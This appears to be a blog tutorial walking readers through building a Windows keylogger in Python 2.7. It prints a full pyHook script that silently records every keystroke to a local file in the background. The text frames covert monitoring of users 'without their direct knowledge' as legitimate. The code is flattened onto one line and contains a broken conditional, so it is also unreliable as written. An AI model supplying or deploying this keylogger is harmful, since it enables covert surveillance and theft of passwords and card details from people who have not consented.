How to make keylogger using python

Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording (logging) the keys struck on a keyboard, typically covertly, so that the person using the keyboard is unaware that their actions are being monitored. Keylogging can also be used to study human–computer interaction. Numerous keylogging methods exist: they range from hardware and software-based approaches to acoustic analysis.

STEP 1: From the start menu select,” Python 2.7 > IDLE(Python GUI)”

image001

STEP 2:  Click “File > New window”

image003

STEP 3: Now type the below code in Python window  as shown in fig.,

G

import win32api import sys import pythoncom, pyHook buffer = '' def OnKeyboardEvent(event): if event.Ascii == 5: sys.exit() if event.Ascii != 0 or 8: f = open ('c:\\output.txt', 'a') keylogs = chr(event.Ascii) if event.Ascii == 13: keylogs = keylogs + '\n' f.write(keylogs) f.close() while True: hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages()

image005

STEP 4 :Save the file in C:\ as Keylogger.py and click  RUN( CTRL + R: the keylogger will come started in the background and will run until the log file “C: \ output.txt” anything that will typed on the keyboard. )

image007

These are computer programs designed to work on the target computer’s software. Keyloggers are used in IT organizations to troubleshoot technical problems with computers and business networks. Families and business people use keyloggers legally to monitor network usage without their users’ direct knowledge. However, malicious individuals can use keyloggers on public computers to steal passwords or credit card information.

Take your time to comment on this article.


Comments

Popular posts from this blog

Vivo phone shows off first in-screen fingerprint scanner

Battle Of The 16-core Enthusiast CPUs : INTEL i9 Vs. AMD RYZEN